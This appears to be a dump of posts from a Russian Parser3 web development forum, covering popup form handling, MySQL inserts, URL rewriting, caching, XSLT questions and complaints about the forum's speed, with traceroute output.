<input type=\"submit\" onclick=\"getElementById('myForm').submit(); self.close()\">\
</form>\
[/code]\
\
твой submit не работал, потому что объекта window.forms['form1'] нет в природе. Поэтому он возвращал false и дальше скрипт не выполнялся.\
\
Строка: 4\
Ошибка: \"window.forms.form1\" -  есть null или не является"
"53733","1. Отправить обычным образом форму\
2. Отдать браузеру минимальный html с тривиальным js-кодом, который закроет окно и выполнит другие операции (например, даст родительскому окну фокус и отредиректит его на другой урл)."
"53734","не проверял, но должно работать:\
\
просто на событие onSubmit формы прописать window.close(). т.е.\
[code]\
<form .... onSubmit=\"self.close()\">\
   ..\
   <input type=\"submit\"/>\
</form>\
[/code]\
\
кстати, Васик, вставь свою фотку, а то как-то неудобно :)) "
"53735","Сделал так, но есть минус... окно с формой отправляет форму нормально, т.е. данные сохраняются, но окно-родитель само по себе не обновляется!!! - странно...\
решил сделать так:\
 getElementById('form1').submit()^; window.opener.reload()^; self.close()\
\
получилась та же фигня: окно родитель обновляется, данные сохраняются, а окно-потомок (с формой) не закрывается... :("
"53736","Так к сожалению нельзя, есть кнопка \"Сохранить\", которая просто сохраняет без закрытия окна.\
\
На счёт фото... такая моя фотография не слишком вульгарна? :)"
"53737","а чего на лице пластырь? неужели дрался?\
\
можно сделать функцией и там воротить всё что хочешь. Есть у меня подозрения, что мы идём неверным путём. Ведь можно сделать добавлялку на родителе без попапов (есть такие пользователи, которые их вообще не видят и не знают о том, что они появляются (спасибо рекламе)). Это значит, что пользователь вообще никогда не увидет всплывшую формочку и будет думать, что ссылка просто-напросто нерабочая."
"53738","Открывается окно редактирования пункта... в пункте сейчас 5 параметров (в столбик)... есть параметры, в которых редактируется html (fckeditor). В данном разделе html редактируется только в одном месте. В дальнейшем будет сделаны разделы, где этих параметров будет до 20-ти штук. Не думаю, что добавление на ту же страницу - это хороший вариант. Тем более, достаточно часто приходется открывать несколько одинаковых пунктов.\
\
\
PS: про пластырь... - не сигаретой прожёг! а может стрела не туда попала.."
"53744","Backend -- прослойкой.\
Frontend -- moo.ajax либо тот же Subsys который в примерах лежит"
"53745","Структура xml:\
[code]<catalog>\
 <item id=\"1\">\
  <author>$form:author</author>\
  <email>$form:email</email>\
 </item>\
 <item id=\"2\">\
 ...\
</catalog>[/code]\
\
Вот, посмотрите, как я пытаюсь создать новый элемент <item>:\
[code]			$document[^xdoc::load[messages.xml]]\
				$items[^document.select[/catalog/item]]\
				$id($items + 1)\
				\
				$xml_item[^document.createElement[item]]\
				^xml_item.setAttribute[id;$id]\
				$item[^document.documentElement.appendChild[$xml_item]]\
				\
				$xml_author[^document.createElement[author]]\
				$xml_author.nodeValue[$form:author]\
				$author[^item.appendChild[$xml_author]]\
				\
				$xml_email[^document.createElement[email]]\
				$xml_email.nodeValue[$form:email]\
				$email[^item.appendChild[$xml_email]][/code]\
и так далее, в том же духе добавляются остальные узлы. Это рациональнО? Или есть более простой и наглядный способ добавить узлы?"
"53746","Бан по ip, по-моему, дело неблагодарное. Не говоря уж о том, что его можно сменить с помощью программ, у многих он меняется при каждом входе, так что даже распознавание пользователя по ip проблематично.\
Использование кукис тоже не очень хорошо - их могут отключить или удалить.\
Так вот, я подумал, может быть можно взять у системы её \"отпечаток\", т.е. какието данные, свойственные только этой системе. например, mac-адрес сетевухи или что-нибудь подобное? Это вообще возможно?"
"53748","http://www.sothink.com/product/dhtmlmenu/index.htm\
\
Отличная прога, которая генерит выпадающие меню. Тебе нужен будет только скрипт. В принципе, можно на основе их скриптов сделать собственные админки на сайте, в которых можно будет делать любое количество менюшек и вложенных менюшек."
"53749","Все нормальные люди давно делают это при помощи css и небольшого DOM JS для эксплорера.\
Alistapart -- suckerfish dropdowns"
"53750","Учить ради учебы -- бессмысленно.\
Пока петух в жо.. не клюнет..."
"53751","Возникла проблема.\
Пытаюсь передать с формы в БД информацию. При передачи возникает ошибка:\
\
[b]Unhalted Exception (number.format)[/b]\
\
invalid number (double)\
z:/home/db.ru/www/articles/index.html(26:15) \
date	z:/home/db.ru/www/articles/index.html(26:15)	\
if	z:/home/db.ru/www/articles/index.html(26:2)	\
body_additional	z:/home/db.ru/www/auto.p(72:11)	\
body	z:/home/db.ru/www/auto.p(3:2)\
\
пользуюсь Денвером, mySQL. в БД типы данных правильные - text.\
При чем, что характерно, если вводишь в поля формы текст - в базе не сохраняется, если везде ввести цифры - сохраняет, аж бегом.\
\
Помогите решить элементарный вопрос, с помощью поиска ответа не нашел."
"53752","Задумывается контент-сайт с множеством разделов, одним из основных в нем будет раздел \"статьи\", подскажите пожалуйста, как лучше всего организвать хранение информации - в БД все целиком, или в отдельных index.html документах в поддиректориях (например - http://www.artlebedev.ru/kovodstvo/134/)\
И вообще как обычно решается эта проблема.\
В дальнейшем подразумевается что статей будет больше, должна быть возможность поиска, выборки, добавления сведений в новость когда запостят саму статью (т.е. как я понимаю, если хранится сама статья будет в html, что-то всеравно нужно вести в БД?).\
Какой лучше выбрать способ добавления статей на сайт (желательно чтобы не слишком сведущие в интернете могли добавлять статьи), и как это лучше реализовать.\
\
Вопросов получается много и далеко не все нюансы охвачены. Если ответы предполагаются объемные и/или есть подобная информация в нете, дайте ссылку пожалуйста. Спасибо."
"53753","если вам нужно и есть время, сделайте.\
пришлите обновлённый configure.in (и что ещё поменяете).\
\
технических препятствий -- никаких."
"53755","не уверен, что правильно понял, но смысл закрыть pop-up окно и вернуть фокус на то место откуда его открыли.\
\
Я делаю так: submit формы делатся на туже страницу \
[code]\
<form action=\"./\" .... >\
....\
<input .... />\
</form>[/code]\
после чего идет обработка данных, которые пришли из формы и в конце обработки\
[code]\
<script language=\"JavaScript\">\
window.opener.location = 'ссылка на нужное вам место (в моем случае новое собщение форума);\
window.self.close()^;\
</script>\
[/code]\
\
делал я с чье-то подсказки и очень давно и потому не уверен что это все что нужно."
"53756","[code]<form method=\"post\" enctype=\"multipart/form-data\">\
<p>\
	Автор:<br/><!--input name=\"author\"><br /-->\
\
	Дата*:<br/><input name=\"date\" value=\"${now.year}-${now.month}-${now.day}\"><br />\
\
	Название*:<br/><textarea name=\"title\" rows=\"2\">klnlkn</textarea><br />\
\
	Короткое описание*:<br/><textarea name=\"short_desc\" rows=\"4\"></textarea><br />\
\
	Тело статьи*:<br/><textarea name=\"body\" rows=\"10\"></textarea><br />\
\
	Источник:<br/><input name=\"from_id\">\
</p> \
<p> \
	<input type=\"submit\" value=\"Добавить статью\" name=\"posted\">&nbsp;&nbsp;&nbsp; \
	<input type=\"reset\" value=\"-\">\
</p> \
</form> \
#начало обработки \
^if(def $form:date && $form:title && def $form:short_desc && def $form:body){ \
   ^connect[$connect_string]{ \
      ^void:sql{insert into article \
         (author_id, date, title, short_desc, body, from_id) \
      values  \
         ('$form:author_id', '$form:date', '$form:title', '$form:short_desc', '$form:body', '$form:from_id')\
      } \
      …статья добавлена\
      } \
}{ \
   …для добавления статьи необходимо заполнить * поля\
}[/code]\
\
А вот экспорт структуры БД (mySQL):\
\
[code]\
CREATE TABLE `article` (\
  `article_id` int(10) NOT NULL auto_increment,\
  `author_id` int(10) default NULL,\
  `date` date NOT NULL default '2006-01-01',\
  `title` tinytext NOT NULL,\
  `body` text NOT NULL,\
  `short_desc` mediumtext NOT NULL,\
  `from_id` int(10) default NULL,\
  PRIMARY KEY  (`article_id`),\
  KEY `id` (`article_id`),\
  KEY `author_id` (`author_id`),\
  KEY `from_id` (`from_id`)\
) ENGINE=MyISAM DEFAULT CHARSET=cp1251 AUTO_INCREMENT=7 ;[/code]"
"53758","Если сделаешь бан по мак-адресу пиши в форум :))"
"53762","не кажется ли вам, что если заменить в описании этого механизма понятие \"гразный\" код на \"опасный\" код, то прицпип работы этой модели становится более прозрачным для понимания?"
"53763","после того как ввел через форму инфу в БД и обновляешь (F5) окно в БД записывается та же информация опять.\
где-то на форуме я встречал подобное обсуждение, но не могу найти с помощью поиска."
"53765","Согласен. Можно и css с js использовать. Я лишь предложил быстрый способ сделать красивое меню. Недостаток только в том, что поисковики индексировать не будут. Но для этого ведь и нужна карта сайта.\
\
Вообще интересная тема затронута. Типа, как сделать красивое, эффективно индексируемое меню... :)"
"53766","Если сделаешь хороший поиск по сайту без БД, то думаю лучше обычными страницами - быстрее грузиться будет. С базой данных легко и быстро можно сделать поиск. Но страницы будут открываться несколько медленнее. Это так просто не заметишь, а если будут читать одновременно человек 100, то это будет притормаживать. Поэтому надо сделать обычное кэширование страниц, по возможности целиком, и всё. При обновлении информации надо будет удалять файлы кэша. По крайней мере, я делаю именно так."
"53767","Для хранения информации пользуетесь бд.\
Да, только сначала почитайте про нормализацию и избыточность, иначе при расширении огребете кучу проблем.\
Ну как статьи постить в бд через форму -- я думаю из документации понятно.\
По всем остальным вопросам информации в сети дофига."
"53771","Поиск без БД? -- А индексы в файликах хранить? К тому же есть готовые решения работающие с бд.\
Страницы будут открываться несколько медленнее? Человек не может заметить в разницу в 0.1 секунды на генерацию страниц.\
Кэширование используется не для скорости -- а для уменьшения нагрузки на оперативную память, в первую очередь, и на проектах с посещаемостью меньше десяти хитов в день на мой взгляд не актуально, хотя ради пендатизма организовать можно.\
При добавлении информации удалять файлы кэша? Обычно это делается при обращении к просроченному файлу."
"53772","Возможно так и придётся делать...."
"53775","Все просто написано через заднепроходнее отверстие.\
Посмотрите какие запросы делаются и какие данные выбирают. Оптимизируйте структуру бд, в первую чередь, расставьте индексы, поищите узкие места(напр. темже rusage). В принципе зп неделю работы даже очень запущенный сайт можно поднять."
"53777","Все уже написано года три как на ALA"
"53778","вопрос содержит одну важную \"заковыку\":\
Ну допустим я использую БД для хранения статей.\
Плюсов в этом много - и поиск, и выборки, но (!) я не понимаю, как тогда к отдельным статьям можно делать ссылки (т.е. без запросов из БД) например, чтобы с другого сайта какая-то отдельная статья была доступна по www.mysite.ru/articles/[color=\"#ff0000\"]about_earth/[/color].\
Загвоздка, по-моему именно в этом. Как сделать их доступными для открытия с помощью прямой ссылки, без подгрузки их из базы?\
И как это делают, например, в той же студии Лебедева, как хранят?\
Вот так:\
[url=\"http://www.artlebedev.ru/portfolio/backstage/icon-reflections/\"]http://www.artlebedev.ru/portfolio/backstage/icon-reflections/[/url]"
"53785","Именно так...страницы сохраняются в файл с номером id страницы. А в базе чисто линк."
"53787","Тогда теряется навигация через адресную строку.\
Неудобно ведь -- www.mysite/articles/23112.html\
лучше -- www.mysite/articles/about_earth/\
\
в этом-то вся и загвоздка"
"53792","Тривиальное решение.\
[code]\
RewriteCond %{REQUEST_FILENAME} !-f\
RewriteCond %{REQUEST_FILENAME} !-d\
\
RewriteRule ^(.*[^/])$  /index.html?page=$1\
RewriteRule ^$  /index.html?page=main\
\
CREATE TABLE `uri` (\
  `uri_id` int(11) NOT NULL default '0',\
  `uri_path` varchar(255) default NULL,\
  PRIMARY KEY  (`uri_id`)\
) ENGINE=InnoDB DEFAULT CHARSET=utf8;\
\
$pid[^table::sql{SELECT uri_id FROM uri WHERE uri_path = '$form:page'}]\
[/code]\
\
$pid -- идентификатор записи в других таблицах.\
\
Все это подано в жутко упрощенной модели."
"53793","Тут исходники по форуму постоянно есть, во-вторых никто не мешает вам изучать параллельно другие языки."
"53794","Наберите в адресной строке браузера javascript:alert(document.cookie) и сделайте вывод."
"53796","#!/usr/bin/perl\
\
print join \"\\n\", split /;\\s*/, $ENV{HTTP_COOKIE};"
"53798","Любой слепок системы - это и есть все, что отсылает клиент. Как и IP и мак-адрес все эти данные успешно подделываются. \
БТВ Реальный мак-адрес клиента к вам не дойдет никак :)"
"53800","Как решают подобные проблемы в той же студии Лебедева? Как у них организована информация в базе данных, что к ней есть в дальнейшем простой доступ через адрессную строку?"
"53802","Я как-то не подумал что это может вызвать затруднение. :)\
БТВ - от англ. By The Way - кстати"
"53803","Я аонимаю, что подделать можно всё, что угодно. Хотелось бы бан, рассчитанный на обычного пользователя, особо не шарящего в компах. Но чтобы бан работал. Ведь если делать бан по ip то некоторые, имеющие динамический ip, могут легко входить на сайт при следующем сеансе связи."
"53805","UPD:\
[url=\"http://www.parser.ru/forum/?id=47529\"]Что означает БТВ? (любопытно)[/url] (-), Roman Kaverdo [color=\"#cc0000\"][M][/color] [color=\"#666666\"][03.12.2005 06:55][/color]\
\
:)"
"53806","Всем привет!\
Понадобилось вставить в xsl шаблон парсеровкий код, как это можно сделать?"
"53807","Это, конечно возможно, если поставить:\
[code]AddHandler parsed-html xsl [/code]\
но тогда придется экранировать кучу символов.\
\
Зачем это вам надо?"
"53811","[b]Задача:[/b] Организовать проверку на дубликаты.\
Из формы получаем значение, которое нужно сверить со значениями в базе.\
\
[b]Проблема:[/b] не удаеться передать параметр названия таблицы БД ($table_name).\
\
Вот код:\
[code]\
@tmp53[form;table_name]\
		^table_name.menu{\
#поиск дубликатов без учета регистра\
			^if(^table_name.category_name.match[$form][i]){\
				$nicht_hinzusetzen[$table_name.category_name]\
			}\
		}\
[/code]\
\
@AddCategory[]\
...соединение с базой\
[code]\
\
$table_name[categories]\
^tmp53[$form:category_name;$table_name]\
[/code]\
\
Заранее благодарю за помощь."
"53812","хочу в js получить код из редактируемого поля body_. Вроде это делается так, но не получается...\
[code]var oEditor = FCKeditorAPI.GetInstance('body_') ^;\
var body_ = oEditor.GetXHTML( true )^;[/code]\
\
Подскажите, кто пробовал..."
"53813","у меня таблица cfg находится на одном домене, а считать ее надо с субдомена, вопрос - как?\
\
пишет: 403 invalid HTTP response status\
\
[code]$sections[^table::load[http://domen.com/_DATA/menu.cfg]][/code]\
\
записать конечно на другом домене что-либо - не получается (и это мне понятно), но вот что-бы нельзябыло это прочитать...\
\
как вариант - я просто вне веб-пространства храню такое, но это уже чистое любопытство - почему неудается прочитать файл?"
"53814","[code]# запрет на доступ к .cfg и .p файлам:\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>[/code]"
"53817","если нет, то чего вы хотите? сделайте чтобы он загружался броузером, тогда он загрузится и парсером.\
\
однако если вы храните файлы вне веб пространства, то загрузить файл по http у вас не получится.\
\
для домена определите глобальную переменную $sPathToDomainRootDir[/../domain] и грузите на здоровье без http:\
^file::load[$sPathToDomainRootDir/$sPathToDataDir/$sFileName] (лучше вынести в отдельный метод). btw: это и быстрее будет."
"53818","нужно вместо:\
[code]$table_name[categories]\
^tmp53[$form:category_name;$table_name][/code]\
\
передавать реальную таблицу:\
[code]\
$table_name{\
^sql:... загружаем данные из базы\
}\
\
^tmp53[$form:category_name;$table_name]\
[/code]"
"53820","P.S. вон в разделе про линукс написана дата \"Декабрь 2005\", а файлики от марта месяца."
"53821","в таблице создать уникальный индекс?"
"53822","В частности, дублирование сообщений. Вообще-то, для этого есть уже специальный класс - \"[url=\"http://www.parser.ru/examples/antiflood/\"]Защита от дублирования сообщений и спама с использованием hashfile[/url]\""
"53823","очень даже решает.\
и достаточно просто.\
надо создать уникальное поле туда складывать ^math:uuid[] из скрытого поля в форме. а при попытке добавить дубликат SQL сервер ругнется, но это можно обойти ^try{}. И все просто."
"53824","[code]$MAX_value[^table::sql{SELECT MAX(num_pos) AS num_pos FROM menu}][/code]\
а можно как то сделать что бы не табличка формировалась, а просто полученное значение присвоилось перемнной, или обязательно только через объект Table?"
"53825","Про кеширование страницы целиком вроде понятно, но как кешировать динамическую страницу?\
\
Пример:\
Страница поиска. Получает значения полей формы. Примерно так:\
[i]search.htm?option1=первый_параметр&option2=второй_параметр[/i]\
Как (в самых общих чертах) наладить кеширование такой страницы - не шаблона, а самих результатов поиска?\
Ведь если я её кеширую целиком, то вне зависимости значений формы пользователь будет получать одно и то же содержимое кеша...\
\
Может где-нибудь есть хороший пример, а я его не нашёл?"
"53827","Для этого и сделаны аналогичные методы у других классов(int,double,file,string...)\
Почитайте про них в документации.\
В данном случае нужно примерно так( если я правильно понял условие задачи):\
[code]\
$MAX_value(^int:sql{SELECT MAX(num_pos) AS num_pos FROM menu})\
[/code]"
"53828","Хотя, я не спорю, что так делать не правильно..."
"53829","даже написано в документации.\
^cache[/cache/^math:md5[$request:uri].cache](1000){код}"
"53834","наверное где-то ошибка:\
\
[code]\
<xsl:template match=\"node()[@*[contains(.,'aaa')]]\">\
<xsl:copy>\
	[b]<xsl:apply-templates select=\"@* except @id\"/>[/b]\
	<xsl:attribute name=\"id\" select=\"bbb\"/>\
	<xsl:apply-templates select=\"node()\"/>\
</xsl:copy>\
</xsl:template>\
[/code]\
\
xsl:apply-templates : could not compile select expression '@* except @id'\
\
в другой проге спокойно работает:\
[code]    \
<xsl:copy>\
      <xsl:apply-templates select=\"@* except @valign\"/>\
       <xsl:attribute name=\"colspan\" select=\"1\"/>  \
       <xsl:copy-of select=\"../preceding-sibling::tr[1]//a[contains(.,'Alternate')]\"/>\
      <xsl:apply-templates select=\"node()\"/>\
</xsl:copy>\
[/code]"
"53835","нет, это не тот случай.\
у меня просто нет опыта работы еонкретно в этой среде (динамика в веб), но есть опыт работы в OOP.AS.2.0 и по этому бывают такие мелкие загвоздки, когда пытаюсь применить то, что знаю в том, что не знаю :/\
что выходит - видно по количеству дурных вопросов от меня.\
\
в будущем обещаю внимательней перечитывать мануал\
\
с ув. Я"
"53836","например если один из приходящих параметров - строка поискового запроса, то кешировать почти бессмысленно: вероятность того что будут искать то-же самое мала, а место на диске будет занимать (файлики сами не удаляются!)\
\
однако если параметры кеширования разумные - то их можно включить в ключ кеширования. однако это все актуально если кешировать страницу целиком, однако не стоит забывать что кешировать можно [b]часть[/b] тела страницы."
"53837","Уверен.\
\
[quote]например если один из приходящих параметров - строка поискового запроса, то кешировать почти бессмысленно: вероятность того что будут искать то-же самое мала, а место на диске будет занимать (файлики сами не удаляются!)[/quote]\
\
Это я понимаю.\
Параметры таковы, что кешировать есть смысл.\
\
[quote]однако если параметры кеширования разумные - то их можно включить в ключ кеширования. однако это все актуально если кешировать страницу целиком, однако не стоит забывать что кешировать можно часть тела страницы.[/quote]\
\
Можно и часть.\
Мой вопрос как раз и касался того, как кешировать результаты поиска. В общем случае это часть страницы, зависящая от параметров. Но может быть и вся.\
\
А если кешировать только часть страницы, то включение параметров в ключ не актуально?"
"53839","оператор except -- из XPath 2.0"
"53840","P.S. nvm, искал в XPath 1.0... Парсер для работы с DOM использует [url=\"http://xmlsoft.org/\"]libxml[/url], как видим эта библиотека не поддерживает только XPath 1.0"
"53841","там даже ссылочка на стандарт есть :)\
http://www.parser.ru/docs/lang/xnodeclass.htm\
\
2Misha:\
На раздел с описанием ф-ии:\
http://www.w3.org/TR/2003/WD-xpath-functions-20031112/#d1e6897\
\
стандарт:\
http://www.w3.org/TR/xpath20/"
"53842","Написал скрипт выгрузки товаров на локальной машине - все работает замечательно, залил на сервер - выдает 500 ошибку. Фаил не маленький - 500кб. Есть у кого какие идеи? К серверным логам доступа не имею."
"53843","1. посмотрите на локальной машине сколько памяти использует парсер для данной операции. сравните с лимитом на хостинге.\
\
2. проверьте: поддерживает-ли парсер на хостинге все те функции, которые вы использовали в коде"
"53844","Задумал сделать информационный портал. Возникла проблема в планировании работы. Основную концепцию сайта я уже продумал, т.е. сколько будет разделов, что освещать, что на них находится будет и т.д. Набросал макет. Начал делать на парсере и уперся в то, что получается слишком кустарно.\
\
Тогда я скачал cms с [url=\"http://parser.proc.ru\"]http://parser.proc.ru[/url], посмотрел и оказалось что там все сделано абсолютно не так как начал делать я. \
\
Это не удивительно :), но вот что мне хотелось бы узнать - можете описать примерных порядок реализации проекта. С технической стороны вопроса. То есть какие технологии использовать, с чего начинать. \
Парсерские уроки хороши, но они расчитаны больше на создание домашней странички, а не серьезного, часто обновляемого проекта. Тем более, та cms очень отличается от уроков."
"53845","если воспользуемся Вашей идеей...\
Пока всё здорово получается, простое и оптимальное решение.\
\
Спасибо."
"53846","Я заранее прошу прощения у его создателей (речь идет, ессно, о данном форуме), но уже за довольно большой срок, сколько я тут \"ошиваюсь\", большей частью читая, наболело.\
\
Нельзя ли сделать форум чуть шустрее? Страницы приходят порой по 15-20 секунд. А ведь тут только текст. Такое огромное количество посетителей или так неоптимальна работа с базой данных?\
Мне кажется, что для форума посвященного языку парсер скорость его работы как визитная карточка..\
\
Или это только у меня так? Правда и на работе и дома и от браузера тож не зависит, всегда примерно одно и тоже."
"53847","получается передать только один...\
параметры указываю через \";\"\
\
\
Примерно так:\
\
[code]^test[1;2]\
\
@test[first; second]\
first: $first <br>\
second: $second <br>[/code]\
\
много раз обсуждалось, но я что-то запутался"
"53849","На определенном этапе благодаря PAF'у мне удалось реализовать необходимы функционал. Если описать кратко то к объекту привязывались записи из таблицы \
\
object_id, object_text, row_name\
\
 -- куда закладывалось содержание блока и потом выводилось в виде \
[code]\
$_someshit.menu{\
<$row_name>$values.$row_name.object_text</$row_name>.\
}[/code]\
Теперь встали следующие вопросы:\
\
а) Можно ли вместо вышеописанной конструкции использовать DOM инструменты (Append Child и пр.)\
б) В базе храняться разметка параграфов и спецсимволы. Надоли избавляться от разметки? И если да, то как это лучше сделать?\
в) Встал вопрос хранить объект с контактами -- который выводиться на разных страницах и по разному форматируется XSLT. Писать в базу XML нехочется, но делать на один объект двадцать блобов -- это тоже зло. (Сразу скажу что никаких отдельных таблиц со столбцами == содержанию нет, они определяются в зависимости от типов объектов, названием строк с blob($row_name из верхнего примера.\
\
Буду очень рад помощи форумчан."
"53850","никак не могу на gmail прикрепить фотку весом 3 мб , хотя раз попробовал на mail.ru и сразу получилось\
Буду благодарен тому, кто объяснит мне в чём заключается эта проблема, раньше было то же с mp3.\
jdmcreator@gmail.com"
"53855","[code]tracert www.parser.ru[/code]из командной строки и поделитесь полученным"
"53857","[code]  1    <1 мс    <1 мс    <1 мс  10.1.1.1\
  2     1 ms     1 ms     1 ms  213.167.xx.xx\
  3     1 ms     1 ms     1 ms  10.0.4.24\
  4     2 ms     2 ms     2 ms  ae0-268.RT517-001.msk.retn.net [81.222.9.17]\
  5    10 ms     9 ms    10 ms  so-2-0-0.RT008-001.spb.retn.net [81.222.0.89]\
  6    10 ms    10 ms     9 ms  ae0.RT033-001.spb.retn.net [81.222.0.134]\
  7     *        *       22 ms  so-0-0-0.RT741-001.stk.retn.net [81.222.0.86]\
  8    23 ms    22 ms    22 ms  213.242.110.9\
  9    23 ms    23 ms    22 ms  ge-2-2.car2.Stockholm1.Level3.net [4.68.125.226]\
 10    71 ms    71 ms    71 ms  213.242.110.154\
 11    68 ms    68 ms    68 ms  cisco02.Moscow.gldn.net [194.186.157.221]\
 12    71 ms    72 ms    71 ms  cat01.Moscow.gldn.net [194.186.157.82]\
 13    68 ms    68 ms    69 ms  hosting.design.ru [195.218.200.166]\
[/code]"
"53859","у меня жутко тормозит форум последние дней пять (примерно), до этого было на мнооого приятнее тут работать...\
\
1	1245	1338	1230	10.0.01\
2	1285	1329	1235	213.186.хо.хо\
3	1348	1340	1243	213.186.193.13\
4	1588	1551	1339	217.151.254.229\
5	1239	1230	119	217.147.96.70\
6	608	780	791	4.68.111.141\
7	806	1001	999	4.68.118.162\
8	1224	1219	1229	4.68.128.70\
9	1273	1241	1348	4.68.96.226\
10	1268	1469	1461	213.242.110.130\
11	1162	1230	1339	194.186.157.221\
12	1450	1448	1439	194.186.157.82\
13	1337	1450	1340	195.218.200.166"
"53860","То есть у меня все данные которые по идее должны быть аттрибутами храняться в виде\
[code]<link>http://someshit.com</link>[/code]\
вместо \
[code]<link uri=\"http://someshit.com\">Bla Bla</link>[/code]\
и потом становиться xsl variable уже в шаблоне.\
Отдельный обработчик на отдельную строку данных повесить проблематичн(только если на весь блок). Как решать эту проблему?"
"53862","Как в школе:\
- пишем план сочинения\
- пишем развернутый план\
- делаем работу\
\
Кустарно получается, когда план \"размытый\". Я с таким сталкивался, когда понеопытности поднимал пару проектов. Невнятно описал техническое задание -> клиент теперь постоянно что-то новое \"придумывает\". В результате, проет временно один пришлось закрыть на доработку."
"53867","Вы получается в Москву через Стокгольм ходите. :)"
"53874","Даже прикольней на самом деле\
ИЗ МОСКВЫ в МОСКВУ через Стокгольм :)\
"
"53876","у меня были такие приколы когда я в москву через польшу-германию-австрию-германию-польшу-украину ходил.\
это сбой у провайдеров в динамической маршрутизации. просто у них несколько каналов на разные направления и так совпало что сработал самый неоптимальный путь."
"53877","во-первых это уже давно и систематически, что никак не соотносится со случайным сбоем маршрутизации\
Во-вторых дома те же грабли. Не могу сейчас глянуть маршрут из дома, как доберусь  - тоже опубликую"
"53879","есть XML меню:\
[code]\
<part name=\"a\">\
	<a href=\"1\">item 1</a>\
	<a href=\"2\">item 2</a>\
</part>\
<part name=\"b\">\
	<a href=\"3\">item 3</a>\
	<a href=\"4\">item 4</a>\
</part>\
[/code]\
\
а как сделать чтобы если текущий uri == 4, то после преобразования в HTML было следующее\
\
[code]\
<h3>a</h3>\
<a href=\"1\">1</a>\
<a href=\"2\">2</a>\
<h3>b</h3>\
<a href=\"3\">3</a>\
<a href=\"4\" class=\"current\">4</a>[/code]\
\
пол дня мучаюсь, уже голова бобо от мануалов, если не желаете делать за меня работу - объясните как передать через .transform[menu.xsl] еще параметр текущего урла и как его применить, хотя конечно, лучшим бы было увидеть как оно должно было бы быть"
"53880","Передача параметров в шаблон описана в документации в соотв. разделе."
"53882","А вообще мне Ваша позиция конечно \"нравится\":\
[quote]если не желаете делать за меня работу - объясните...[/quote]"
"53884","Сразу к главному вопросу. Есть ли какие-то основные вопросы для оптимизация кода на P3? Типа как для PHP на http://www.getinfo.ru/article155.html.\
А имеено интересует длина символов в переменных, количество методов..."
"53885","Конечно, лучше использовать символы покороче =)"
"53886","если бороться за милисекунды из последних сил."
"53887","понял, что надо использовать конструкцию типа\
[code]\
...\
<xsl:choose>\
<xsl:when test=\"value = param_value\">\
...[/code]\
\
но я не знаю как это на практике реализовать - нет [b]понятных (для меня)[/b] примеров в нете, такие задачи не для новичков, но есть такое слово \"надо\"..."
"53888",""
"53889","[url=\"http://www.egoroff.spb.ru/portfolio/\"]http://www.egoroff.spb.ru/portfolio/[/url]"
"53890","есть ссылка на примеры.\
В поиске по форуму -- я недавно задавал подобный вопрос:\
[url=\"http://www.parser.ru/forum/?id=52884\"]вопрос[/url]"
"53891",""
"53892","связано это с набегами поисковых роботов и тормозами нашего SQL сервера.\
\
тем не менее в ближайшее время попробую немного оптимизировать и парсерный код."
"53893","^if(!(def $cookie:$item_find)){$cookie:$item_find[$.value[]$.path[/adm/]]}\
\
Передаётся кука и попадает на этот код. Если в куках есть русские буквы, то строка написанная выше, активизируется, и записывает в куку пустую строку.\
\
вот как выглядит кука до попадания на этот код\
NAME  adm_test_find \
VALUE  %u0432%u0430%u0441%u044F \
DOMAIN  ego-x.artgroup.ru \
PATH  /adm/ \
EXPIRES  21.06.2006 18:25:56 \
\
%u0432%u0430%u0441%u044F = вася - так мне её вывел js."
"53899","Имею файл test.p, к примеру с содержимым:\
[code]\
@CLASS\
test\
\
@create[date]\
$result[^date::create[$date]]\
[/code]\
\
Вызываю в каком-нибудь test.html:\
[code]\
@main[]\
^use[test.p]\
\
$date[^test::create[2006-05-20]]\
\
^if($date is 'test'){\
	\"TEST\"\
}{\
	NOT \"TEST\"\
}\
[/code]\
\
Получаю, как и должно быть, на экран [b]NOT \"TEST\"[/b]. А вот хотелось бы всё-таки сделать как-бы класс прослойку для класса date.\
Возможно ли это в рамках P3?"
"53900","1. непонятная методика тестирования: полная абстраксия со временем и с количеством итераций. \"общее вpемя\" - в каких попугаях? вы нашли? за сколько итераций (везде написано 1), а в коде смотрели? берем тест 1, смотрим на абсолютное изменение и видим, что выигрываем ~ единицу времени на... 50000 итерациях (я не поленился скачать исходники и посмотреть в код). вопрос: много у вас подобных циклов будет?\
\
2. несопоставимость результатов: как я уже упомянул в первом тесте было 50000 итераций, в тесте с регекспами - 1 (одна) итерация (причем откуда такое большое время - непонятно). => оптимизировав одно регулярное выражение можно просто забить на всю остальную оптимизацию.\
\
3. суть статьи не ясна. в любой нормальной книжке написано: первоочередная задача - написать понятный код и логически структурированный код (btw: у меня плучается не всегда), и лишь затем _найти_ узкие места (да, именно найти, т.к. от версии к версии они могут меняться) и оптимизировать именно их (вы знаете какую версию PHP тестировал автор?)"
"53901","Забыл написать, что\
[code]\
@BASE\
date\
[/code]\
также не помогает.\
Отхватываю ошибку \"element can not be stored to stateless_class\"."
"53902","1. вообще-то в конструкторе не надо возвращать никакой $result. конструктор и так возвращает \"объект\" класса. это его основная работа. если вы уберете $result[] то получите правильный \"TEST\"\
\
2. сейчас у p3 есть ньюанс в случае наследования классов: например есть класс t1, от него унаследован t2, и есть объект $tt класса t2. в таком случае хотелось бы чтобы и ^if($tt is \"t1\"){} и ^if($tt is \"t2\"){} были истинны, но это не так, истинно только второе."
"53906","По первому спасибо... За второе также, хотя я это так и представлял, просто теперь буду \"подкреплён\" Вашими словами."
"53907","Трейс из дома. Маршрут прямой, но по ощущениям это никак не коррелирует со скоростью форума.\
Миша - спасибо, что ответили. Хотя бы понятно, что проблема известна Вам и она не плод моего воображения :)\
\
Очень бы хотелость прироста в скорости, потому как форум читаю практически постоянно.\
\
[code]Tracing route to parser.ru [195.218.200.166]\
over a maximum of 30 hops:\
\
  1     2 ms     2 ms     3 ms  85.192.xx.xx\
  2     2 ms     3 ms     2 ms  85.192.xx.xx\
  3     6 ms     5 ms     3 ms  dinet.svao-ix.ru [213.219.207.1]\
  4    46 ms    16 ms    12 ms  M9-IX.svao-ix.ru [213.248.10.216]\
  5     6 ms     5 ms     4 ms  dinet-lgw.Moscow.gldn.net [195.239.9.125]\
  6     3 ms     3 ms     4 ms  cat03.Moscow.gldn.net [195.239.10.189]\
  7     3 ms     3 ms     3 ms  cat01.Moscow.gldn.net [195.239.13.109]\
  8     2 ms     4 ms     4 ms  hosting.design.ru [195.218.200.166][/code]"
"53908","Сначала создаете узел, потом добавляете к нему аттрибут."
